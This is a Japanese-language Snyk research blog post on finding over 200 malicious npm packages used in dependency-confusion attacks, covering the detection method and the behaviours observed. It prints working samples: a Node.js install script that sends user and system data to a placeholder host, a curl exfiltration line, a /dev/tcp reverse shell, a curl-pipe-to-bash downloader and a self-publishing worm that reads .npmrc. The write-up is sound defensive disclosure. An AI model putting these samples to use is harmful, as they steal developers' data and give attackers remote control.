Skip to main content

Snyk、Cobalt Strikeの依存関係混同攻撃を含む、200件以上の悪意あるnpmパッケージを発見

著者
Headshot of Kirill Efimov

Kirill Efimov

feature cobalt strike

2022年5月24日

0 分で読めます

Snykは最近、npmレジストリで200件を超える悪意あるパッケージを発見しました。開発者が脆弱性疲れに直面していることは認識していますが、この記事で取り上げるのは、よくあるタイポスクワッティングや無差別な悪意あるパッケージの事例ではありません。Snykが検知し、その知見を共有できた、企業を標的とする攻撃について紹介します。

この記事では、依存関係混同とは何か、JavaScriptエコシステム(特にnpmレジストリ)にどれほど大きな影響を及ぼすかを説明するのではなく、Snykがどのような手法を用いて、最近どのような悪意あるパッケージを発見したのかに焦点を当てます。依存関係混同とそのリスクについて詳しく知りたい方は、Alex BirsanによるDependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companiesと、標的型攻撃の依存関係攻撃シミュレーションを現行犯で捉えたSnyk独自の開示をご覧ください。

さらに、バグバウンティのリサーチャーやレッドチームが、npmエコシステムを汚染し、誤ったセキュリティレポートを生み出すことで、依存関係混同攻撃の手法が広まる以前よりも状況を悪化させていることについても取り上げます。

近年、多くの企業がサプライチェーンセキュリティに注力しており、その大きな要素の一つが悪意あるパッケージの検知です。npmが特に注目を集めていることは間違いありません。社内ではnpmについて多くの議論を重ねました。他のベンダーが定期的に公表している、影響の小さい悪意あるパッケージよりも優れた検知ができるだろうか。そこで、どれだけの悪意あるパッケージを検知できるかを確かめるため、シンプルな手法を実装してみることにしました。その後、この手法を長期間にわたって調整し、100件目の悪意あるパッケージをSnyk Vulnerability Databaseに登録した時点で、記事にする必要があると判断しました。まずは、npmのようなレジストリで悪意あるパッケージをどのように見つけるのかを見ていきましょう。

npmレジストリで悪意あるパッケージを見つける

まず、このセキュリティ調査の範囲と目標を定める必要がありました。

  1. インストール時に実行される悪意あるロジックだけに注目しました。つまり、npm installの実行中に起きることだけを対象としています。実行時に動く悪意あるスクリプトは対象外とし、今後のケーススタディで取り上げる予定です。

  2. 誤検知の数を対応可能な範囲に抑えること。セキュリティアナリスト1人が、1時間以内にすべての候補を選別できることを目安としました。

  3. 収集システムはモジュール化すること。すでに何度も進化を遂げており、今後も改良を続けます。検知手法の一部は追加され、また一部は#2を踏まえて削除されました。

  4. 最初のアプローチとして、静的解析のみを採用することにしました。動的解析については、別の記事で取り上げる予定です。

何を悪意ある挙動とみなすのかを定義することが重要です。たとえば、リバースシェルを開いたり、プロジェクトフォルダ外のファイルを変更したりするのは悪意ある行為です。

また、パッケージが個人を特定できる情報(PIIを含む可能性があるデータを含む)を外部に送信する場合も、悪意ある行為とみなせると考えています。たとえば、次のようなケースです。

  • パッケージがマシンのGUIDを送信する=悪意なし– GUIDにはユーザーの個人データが含まれず、パッケージのインストール数を一意に数える目的でよく使われます。

  • パッケージがアプリケーションのフォルダーパスを送信する=悪意あり – アプリケーションのフォルダーパスには、通常、現在のユーザー名(本名の場合もあります)が含まれています。

基盤となるシステムは、次の要素で構成されています。

  1. 新規追加・変更されたパッケージの情報を取得するスクレイピングロジック。

  2. セキュリティアナリストに適切なメタデータを提供するタグ付けロジック。

  3. 前のステップに基づいて、悪意あるパッケージの候補に優先順位を付けるソートロジック。

収集システムの出力はYAMLファイル(候補のデータポイントとして機能)です。セキュリティアナリストが確認し、次の3つのいずれかに分類します。

  • 問題なし – 疑わしい点がないパッケージ。悪意のない挙動の例として使用します。

  • 悪意あり – 悪意あるパッケージ。

  • 無視 – おそらく悪意はないものの、インストール時の挙動が一般的すぎる、または複雑すぎて、今後の事例のパターンとして使えないパッケージ。

パッケージ情報を収集するnpmレジストリの調査

最初に定めた要件に従い、インストール時スクリプトpreinstall、install、またはpostinstallがあるすべての新規・更新パッケージに対応する必要があります。

npmレジストリは内部でCouchDBを使用しています。CouchDBは、一般向けにreplicate.npmjs.com経由で公開されています。そのため、データ収集は_changesエンドポイントを昇順でポーリングするだけで簡単に行えます。具体的には、

https://replicate.npmjs.com/_changes?limit=100&descending=false&since=<here is last event ID from the previous run>

前回の収集処理で取得したイベントID以降に更新・作成されたパッケージの一覧を取得できます。

さらに、一覧にある各パッケージのメタデータ取得にはhttps://registry.npmjs.org/を、パッケージのダウンロード数の取得にはhttps://api.npmjs.org/downloadsを使用します。

データ収集ロジックで唯一難しいのは、パッケージのtarballからインストール時スクリプトを抽出することです。npmパッケージのtarballは平均すると1MB未満ですが、非常に大きい場合もあり、数百MBに達することさえあります。幸い、tarアーカイブはストリーミング処理を実装できる構造になっています。必要なファイルが見つかるまでパッケージアーカイブをダウンロードし、その時点で接続を切断することで、時間とネットワークトラフィックを大幅に節約できます。この目的にはnpmパッケージtar-streamを使用しています。JavaScriptとNode.jsの発展に大きく貢献し、日々開発者を支える多くのオープンソースnpmパッケージを保守しているMathias Buusに感謝を伝える絶好の機会です。

npmレジストリ上の悪意あるパッケージにタグを付ける

この時点で、パッケージのバージョン履歴、メンテナー名、インストール時スクリプトの内容、依存関係など、すべてのメタデータが揃っています。ここからルールを適用できます。私の経験上、特に効果的だったルールをいくつか紹介します。

  • bigVersion – パッケージのメジャーバージョンが90以上。依存関係混同攻撃では、ダウンロードさせる悪意あるパッケージのバージョンを、元のパッケージより高くする必要があります。後述するように、悪意あるパッケージのバージョンは99.99.99のようなものがよく見られます。

  • yearNoUpdates – その年に初めて更新されたパッケージ。長期間メンテナンスされていなかったパッケージが、脅威アクターに侵害されたかどうかを判断する重要な手がかりです。

  • noGHTagLastVersion – パッケージの新しいバージョンに、対応するGitHubリポジトリ上のタグがない(以前のバージョンにはあった)場合。このルールは、npmユーザーは侵害されたものの、GitHubユーザーは侵害されていないケースに有効です。

  • isSuspiciousFile – インストール時に実行される、悪意の可能性があるスクリプトを検知するための正規表現を用意しています。一般的な難読化手法、canarytokens.comやngrok.ioのようなドメインの使用、IPアドレスの記述などを検知します。

  • isSuspiciousScript – package.jsonファイル内の、悪意の可能性があるスクリプトを検知する正規表現のセットです。たとえば、“postinstall: “node .”は悪意あるパッケージでよく使われていることがわかりました。

基盤システムにはほかにも多くのタグが実装されていますが、上記は収集ロジックの概要を把握するための参考になります。

npmパッケージのデータを選別する

セキュリティアナリストによる手作業での確認ではなく、プロセスをさらに自動化したいと考えています。インストール時スクリプトが過去に問題なし、または悪意ありと分類されていれば、新たなケースも同様に自動分類します。これは主に“postinstall”: “webpack”や“postinstall”: “echo thanks for using please donate”のような悪意のない挙動に有効で、ノイズの削減に役立ちます。

また、精度の高い真陽性のシグナルを得られるタグを優先して処理します。具体的には、isSuspiciousFileとisSuspiciousScriptの優先度が最も高くなっています。

手動によるセキュリティ分析

検知プロセスの最後は、手動分析です。これもいくつかの段階に分かれています。

  1. 自動で分類された候補や優先度の高い候補を確認します。これらは悪意ある可能性が最も高いものです。未分類の候補も一つずつ確認し、悪意のあるケースとないケースの新たなルールを見つけます。

  2. #2に基づいて収集ロジックを更新します。

  3. 悪意あるパッケージをそれぞれSnyk Vulnerability Databaseに追加します。

  4. gxm-reference-web-auth-serverのように、パッケージに通常とは異なる悪意あるロジックが含まれている場合、アナリストが時間をかけて詳細に分析し、その知見をコミュニティやSnykユーザーと共有します。

このフローにより、収集システムを日々改善し、プロセスを自動化できます。

npmでどのような悪意あるパッケージを検知できたのか

現在までに、このシステムはnpmパッケージ200件以上で成果を上げています。いずれも誤検知ではなく、依存関係混同攻撃の現実的な脅威となるものです。これらの調査結果をさらに分類し、攻撃者が用いたさまざまな挙動や手法を紹介します。

データを外部に送信する悪意あるパッケージ

悪意あるパッケージで最もよく見られるタイプの一つが、HTTPまたはDNSリクエストを使ったデータの外部送信です。多くの場合、依存関係混同の調査で使われた元のスクリプトを改変し、コピーして使っています。「調査目的で使用するパッケージ」や「機密データは取得しない」といったコメントが付いていることもありますが、惑わされないでください。こうしたパッケージはPIIを取得してネットワーク経由で送信しており、決してあってはならないことです。

Snykが発見した、こうしたパッケージの典型例:

const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;

const trackingData = JSON.stringify({
    p: package,
    c: __dirname,
    hd: os.homedir(),
    hn: os.hostname(),
    un: os.userInfo().username,
    dns: dns.getServers(),
    r: packageJSON ? packageJSON.___resolved : undefined,
    v: packageJSON.version,
    pjson: packageJSON,
});

var postData = querystring.stringify({
    msg: trackingData,
});

var options = {
    hostname: "<malicious host>", 
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": postData.length,
    },
};

var req = https.request(options, (res) => {
    res.on("data", (d) => {
        process.stdout.write(d);
    });
});

req.on("error", (e) => {
    // console.error(e);
});

req.write(postData);
req.end();

次の情報を外部に送信しようとする試みが確認されています(比較的無害なものから、最も危険なものの順)。

  • 現在のユーザー名

  • ホームディレクトリのパス

  • アプリケーションディレクトリのパス

  • ホームディレクトリやアプリケーションの作業ディレクトリなど、さまざまなフォルダー内のファイル一覧

  • システムコマンドifconfigの実行結果

  • アプリケーションのpackage.jsonファイル

  • 環境変数

  • .npmrcファイル

このグループの悪意あるパッケージの中には、installスクリプトにnpm install http://<malicious host>/tastytreats-1.0.0.tgz?yy=npm get cacheのようなコマンドを含むものもあります。npmのキャッシュディレクトリのパス(通常は現在のユーザーのホームフォルダー内)を外部送信することは明らかですが、外部のソースからパッケージもインストールします。これまでの経験では、外部ソースから取得されるパッケージは、ロジックもファイルもないダミーにすぎません。ただし、サーバー側で地域などの条件が設定されている可能性や、一定期間後にクリプトマイナーやトロイの木馬に変わる可能性もあります。

場合によっては、次のようなbashスクリプトも確認されました。

DETAILS="$(echo -e $(curl -s ipinfo.io/)\\n$(hostname)\\n$(whoami)\\n$(hostname -i) | base64 -w 0)"
curl "https://<malicious host>/?q=$DETAILS"

上記のスクリプトは、パブリックIPアドレスの情報、ホスト名、ユーザー名を外部に送信します。

リバースシェルを起動する悪意あるパッケージ

悪意あるパッケージによく見られるもう一つのタイプは、リバースシェルを起動するものです。標的のマシンが攻撃者の所有するリモートサーバーに接続し、攻撃者が遠隔操作できるようになります。次のような単純なものもあります。

/bin/bash -l > /dev/tcp/<malicious IP>/443 0<&1 2>&1;

または、net.Socketなどの接続方法を使った、より複雑な実装もあります。

このカテゴリーの主な問題は、ロジック自体は単純に見えるものの、実際の悪意ある動作がハッカーのサーバー側に完全に隠されていることです。ただし、その影響は明らかです。悪意あるパッケージがインストールされたコンピューターを、ハッカーが完全に制御できる可能性があります。

このようなパッケージの1つをサンドボックスで実行し、記録されたコマンドを確認しました。以下がその内容です。

  1. nohup curl -A O -o- -L http://<malicious IP>/dx-log-analyser-Linux | bash -s &> /tmp/log.out& – 悪意あるサーバーからスクリプトをダウンロードして実行します。

  2. 悪意あるサーバーからダウンロードされたスクリプトは、自身を/tmpディレクトリに追加し、リモートの攻撃者からの更新を待つため、10秒ごとに自身へのポーリングを開始しました。

  3. 一定時間が経過すると、VirusTotalによるとCobalt Strikeのトロイの木馬であるバイナリファイルをダウンロードしました。

ZIPファイルを悪意のあるファイルとして検出したベンダーが63社中15社と表示され、複数のCobalt Strikeの検出結果が一覧に表示されたセキュリティスキャンダッシュボード。

悪意あるnpmパッケージでのトロイの木馬の使用

このカテゴリーには、さまざまなコマンド&コントロールエージェントをインストールして実行するパッケージが多数あります。これらについて詳しく説明することはこの記事の範囲を超えるため、代わりに、gxm-reference-web-auth-serverパッケージの詳細なリバースエンジニアリングに関する最近の記事をお読みいただくことをおすすめします。この記事では、ホワイトハッカーがレッドチームによる倫理的な調査をどのように行ったかについて、調査結果をまとめています。また、このカテゴリーの悪意ある依存関係の混乱攻撃で、npmパッケージに何が潜んでいるかを知るうえでも参考になります。レッドチームの活動を捉えた興味深い事例でもあります。

別の興味深い事例では、サンドボックスからのシステムコールを調べたところ、あるものが目に留まりました。切り離されたプロセスを起動し、30分間の待機を実行していたのです。そして、その後になって初めて悪意ある活動を開始しました。

npmパッケージに仕込まれたいたずらや抗議活動を発見

3月に、抗議を目的としたnpmパッケージに関する記事を公開しました。こうしたパッケージに加え、YouTubeや成人向け動画、その他のウェブサイトをブラウザーで開こうとする試みや、.bashrcファイルにコマンドを追加しようとする試みも複数確認しました。

サンプルコードは、open [https://www.youtube.com/watch?v=](https://www.youtube.com/watch?v=)<xxx>をpostinstallスクリプトに記述するだけの単純なものや、インストール時に実行されるJavaScriptファイルにshell.exec(echo '\nopen https://<NSFW website>' >> ~/.bashrc)を記述するものなどがあります。

今回の調査で検出した、潜在的に有害な悪意あるパッケージのもう1つの例として、.npmrcファイルの有無を確認し、ファイルがある場合はnpm publishを実行して、npmユーザーの名義で自身のコピーを作成するパッケージがありました。ご覧のとおり、これはワームのように振る舞い、状況によっては実際の脅威となる可能性があります。

const fs = require('fs')
const faker = require('faker')
const child_process = require('child_process')
const pkgName = faker.helpers.slugify(faker.animal.dog() + ' ' +
faker.company.bsNoun()).toLowerCase()
let hasNpmRc = false
const read = (p) => {
  return fs.readFileSync(p).toString()
}
try {
  const npmrcFile = read(process.env.HOME + '/.npmrc')
  hasNpmRc = true
} catch(err) {
}
if (hasNpmRc) {
  console.log('Publishing new version of myself')
  console.log('My new name', pkgName)
  const pkgPath = __dirname + '/package.json'
  const pkgJSON = JSON.parse(read(pkgPath))
  pkgJSON.name = pkgName
  fs.writeFileSync(pkgPath, JSON.stringify(pkgJSON, null, 2))
  child_process.exec('npm publish')
  console.log('DONE')
}

まとめと推奨事項

Snykでは日々、オープンソースソフトウェアのエコシステムのセキュリティ向上に取り組んでいます。今回は悪意あるnpmパッケージのいくつかの亜種をご紹介しましたが、これは決して網羅的なリストではありません。調査の結果、npmエコシステムがさまざまなサプライチェーン攻撃に積極的に利用されていることがわかりました。開発者やメンテナーとしてご自身を守り、アプリケーションやプロジェクトを保護するために、Snykのようなツールを利用することをおすすめします。

バグバウンティハンターまたはレッドチームの担当者で、偵察活動のためにnpmパッケージを公開する必要がある場合は、npmの利用規約と法的ガイドラインに従ってください。また、いかなる場合も個人を特定できる情報(PII)を外部に持ち出さず、ソースコードのコメントまたはパッケージの説明に、パッケージの目的を明確に記載してください。node-machine-idのように、マシン固有の識別子を送信する、正当な調査目的のパッケージもいくつか確認しました。

CTFを始めよう

オンデマンドのバーチャル入門ワークショップを視聴して、CTFの課題の解き方を学びましょう。

公開時点で影響を受けたパッケージの一覧

まとめとして、検出できたパッケージの一覧を公開します。現時点では、一部、あるいは大半がnpmレジストリから削除されていますが、この調査を公開した時点でも残っていたものがあります。

git-en-boite-core

@seller-ui/products

git-en-boite-app

insomnia-plugin-simple-hmac-auth

selenium-applitools

api-extractor-test-01

@tilliwilli/npm-lifecycles

vfdp-ui-framework

klook-node-framework

next-plugin-normal

klook-node-framework-affiliate

@iwcp/nebula-ui

klook-tetris-server

react-dom-router-old

klook-ui

react-dom-router-compatibility

logquery

node-hawk-search

@klooks/klook-node-framework

ual-content-page

schema-render

npm_test_nothing

tetris-scripts

lbc-git

klook-node-framework-language

angieslist-composed-components

klook-node-framework-country

angieslist-gulp-build-tasks

klook-node-framework-currency

onepassword_events_api

klook-node-framework-device

on-running-script-context

klook-node-framework-logger

okbirthday2015

klook-node-framework-site

oidc-frontend

klook-node-framework-experiment

nucleus-wallet

klook-node-framework-cache

videojs-vtt

executables.handler

@commercialsalesandmarketing/contact-search

tracer.node

cap-common-pages

state.aggregator

coldstone-helpers

rce-techroom

rainbow-bridge-testing

acronis-ui-kit

npm-exec-noperm

activity-iframe-sdk

npmbulabula

angieslist-visitor-app-common

nozbedesktop

uitk-react-rating

nodejs-email

ldtzstxwzpntxqn

plugin-welcome

gxm-reference-web-auth-server

polymer-shim-styles

lznfjbhurpjsqmr

lexical-website-new

npm_protect_pkg

paper-toolbar

com.unity.xr.oculus

paytm-kafka-rest

katt-util

phoenix.site

workspace-hoist-all

assets-common

qjwt

bolt-styles

bigid-permissions

phub-dl

@uc-maps/api.react

api-extractor-test-01

@uc-maps/test

adroit-websdk-client

@uc-maps/test1

f0-utils

@uc-maps/boundaries-core.react

@uc-maps/boundaries-core.react

@uc-maps/geospatial

elysium-ui

@uc-maps/layer-select.react

portail-web

@uc-maps/maps.react

postinstall-dummy

@uc-maps/parcel-shapes

threatresponse

wf_ajax

pratikyadavh2

wf_apn

cap-products

wf_storage

promoaline

wf_scheduler

promohline

bigid-filter-recursive-parser

promofline

bigid-query-object-serialization

promoimmo

yo-code-dependencies-versions

promohlineupselling

abchdefntofknacuifnt

promotemplate

generator-code-dependencies-versions

ptmproc

@visiology-public-utilities/language-utils

quick-app-guide

finco

razer-xdk

azure-linux-tools

epic-games-self-service-portal

com.unity.xr.oculus

pg-ng-popover

@uieng/messaging-api

pco_api

jptest1

lyft-avidl

pegjs-override-action

pegjs-override-action

jinghuan-jsb

stripe-connect-rocketrides

kntl-digital3

flake8-holvi

@sorare-marketplace/components

volgactf

fc-gotcha

mb-blog

com.unity.searcher

orangeonion.buildtools

sixt

gatsby-plugin-added-by-parent-theme

r3corda

gulp-browserify-thin

got-hacked

eslint-plugin-seller-ui-eslint-plugin

qweasdzxc

@seller-ui/settings